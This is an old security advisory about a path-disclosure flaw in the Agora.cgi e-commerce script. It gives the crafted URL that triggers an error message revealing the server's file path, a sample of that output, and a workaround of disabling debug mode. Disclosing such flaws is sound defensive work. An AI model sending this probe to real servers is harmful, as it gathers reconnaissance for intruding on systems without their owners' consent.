[UNIX] Agora.cgi True Path Revealing Vulnerability

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Date: 02/05/02


From: support@securiteam.com
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Date: Tue,  5 Feb 2002 18:40:24 +0100 (CET)

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  Agora.cgi True Path Revealing Vulnerability
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SUMMARY

 <http://www.agoracgi.com/> Agora.cgi is an open source e-commerce
solution. A security vulnerability in the product allows attackers to find
out the true patch of where the web server's HTML files reside by crafting
a special URL request.

DETAILS

Exploit:
Entering the following URL:
http://www.example.com/cgi-bin/store/agora.cgi?page=pretendpage.html

Will result in something similar to:
ERROR:FILE OPEN ERROR-./html/pages/pretendpage.html
FILE: /home/httpd/cgi-bin/store/agora.cgi
LINE: 1114

Workarounds:
Do not run your 'agora.cgi' store in debug mode.

ADDITIONAL INFORMATION

The information has been provided by <mailto:superpetz@hushmail.com>
superpetz.

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